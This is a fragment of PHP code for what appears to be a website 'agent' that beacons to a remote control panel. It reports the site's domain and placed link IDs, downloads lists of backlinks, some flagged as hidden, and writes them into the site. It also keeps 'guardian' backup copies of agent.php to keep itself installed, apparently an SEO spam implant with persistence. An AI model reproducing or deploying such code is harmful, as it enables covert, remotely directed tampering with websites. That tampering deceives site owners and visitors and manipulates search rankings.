if (!$config || empty($config['site_key']) || empty($config['site_secret'])) out("INVALID_CONFIG: " . $configFile);

$siteKey = $config['site_key'];
$siteSecret = $config['site_secret'];
$domain = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' ? 'https://' : 'http://') . (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'unknown');

// ==================== HEARTBEAT ====================

$timestamp = time();
$nonce = bin2hex(random_bytes(8));
$path = '/panel/api/site/heartbeat';
$sig = hash_hmac('sha256', "POST|$path|$timestamp|$nonce", $siteSecret);

// Collect placed link ids from local links file for confirmation
$placedIds = array();
if (defined('LINKS_FILE') && file_exists(LINKS_FILE)) {
    $tmp = @json_decode(@file_get_contents(LINKS_FILE), true);
    if (is_array($tmp)) {
        foreach ($tmp as $__ln) {
            if (!empty($__ln['id'])) $placedIds[] = (string)$__ln['id'];
            elseif (!empty($__ln['link_id'])) $placedIds[] = (string)$__ln['link_id'];
        }
    }
}
$linksHeader = "X-LINKS: " . implode(",", array_slice($placedIds, 0, 200));

curlRequest(PANEL_BASE . "/heartbeat", array(
    "X-SITE-KEY: $siteKey",
    "X-TIMESTAMP: $timestamp",
    "X-NONCE: $nonce",
    "X-SIGNATURE: $sig",
    "X-DOMAIN: $domain",
    "X-AGENT-VERSION: " . AGENT_VERSION,
    $linksHeader
), true);

// ==================== CONFIG AL (LINKLERİ ÇEK) ====================

$timestamp = time();
$nonce = bin2hex(random_bytes(8));
$path = '/panel/api/site/config';
$sig = hash_hmac('sha256', "GET|$path|$timestamp|$nonce", $siteSecret);

$response = curlRequest(PANEL_BASE . "/config?site_key=" . urlencode($siteKey), array(
    "X-SITE-KEY: $siteKey",
    "X-TIMESTAMP: $timestamp",
    "X-NONCE: $nonce",
    "X-SIGNATURE: $sig",
    "X-AGENT-VERSION: " . AGENT_VERSION
));

if (!$response) out("CONFIG_FAILED: empty response from panel");
$data = json_decode($response, true);
if (!is_array($data) || !isset($data['links'])) {
    out("INVALID_CONFIG_RESPONSE: " . substr(preg_replace('/\s+/', ' ', $response), 0, 200));
}

// Panel universal config: footer_link_cap / contextual_max_ttl merge
if (isset($data['footer_link_cap']) || isset($data['contextual_max_ttl'])) {
    $cfgMerge = load_config();
    $cfgChanged = false;
    if (isset($data['footer_link_cap'])) {
        $cap = max(1, min(500, intval($data['footer_link_cap'])));
        if (!isset($cfgMerge['footer_link_cap']) || intval($cfgMerge['footer_link_cap']) !== $cap) {
            $cfgMerge['footer_link_cap'] = $cap;
            $cfgChanged = true;
        }
    }
    if (isset($data['contextual_max_ttl'])) {
        $ttl = max(3600, intval($data['contextual_max_ttl']));
        if (!isset($cfgMerge['contextual_max_ttl']) || intval($cfgMerge['contextual_max_ttl']) !== $ttl) {
            $cfgMerge['contextual_max_ttl'] = $ttl;
            $cfgChanged = true;
        }
    }
    if ($cfgChanged) {
        save_config($cfgMerge);
    }
}

// ==================== LINKLERİ KAYDET ====================

$linksToSave = array();
foreach ($data['links'] as $link) {
    if (empty($link['url']) || empty($link['anchor'])) continue;
    $stableId = '';
    if (!empty($link['id'])) $stableId = $link['id'];
    elseif (!empty($link['link_id'])) $stableId = $link['link_id'];
    else $stableId = build_deterministic_link_id($link['url'], $link['anchor'], isset($link['rel']) ? $link['rel'] : 'dofollow');
    $linksToSave[] = array(
        'id' => $stableId,
        'kind' => isset($link['kind']) ? normalize_kind($link['kind']) : 'footer',
        'url' => $link['url'],
        'anchor' => $link['anchor'],
        'rel' => isset($link['rel']) ? normalize_rel($link['rel']) : 'dofollow',
        'expires_at' => isset($link['expires_at']) ? intval($link['expires_at']) : null,
        'created' => time(),
        'updated_at' => time(),
        'hidden' => isset($link['hidden']) ? (bool)$link['hidden'] : false,
    );
}

if (!empty($linksToSave)) {
    save_links($linksToSave);
}

// ==================== PLACEMENT (YERLEŞİM) ====================

$renderResult = array(false, array(), array());
try {
    // Once agent.php + yedekleri garanti et
    @rootseo_guardian_tick(true);
    @rootseo_purge_broken_remnants();
    $renderResult = ensure_render_delivery(false);
    @guardian_write_copies();
} catch (Exception $e) {
    $renderResult = array(false, load_config(), array('message' => 'placement_exception'));
}

if ($debug) {
    $stats = get_link_stats(load_links());
    echo "AGENT OK v" . AGENT_VERSION . "\n";
    echo "Root: " . $root . "\n";
    echo "Config: " . $configFile . "\n";
    echo "Links: " . $stats['total'] . "\n";
    echo "Active: " . $stats['active'] . "\n";
    echo "Expired: " . $stats['expired'] . "\n";
    echo "Placement: " . ($renderResult[0] ? 'OK' : 'FAILED') . "\n";
    $placement = isset($renderResult[1]['placement']) ? $renderResult[1]['placement'] : array();
    echo "Strategy: " . (isset($placement['strategy']) ? $placement['strategy'] : 'none') . "\n";
} else {
    echo "SYNC_OK";
}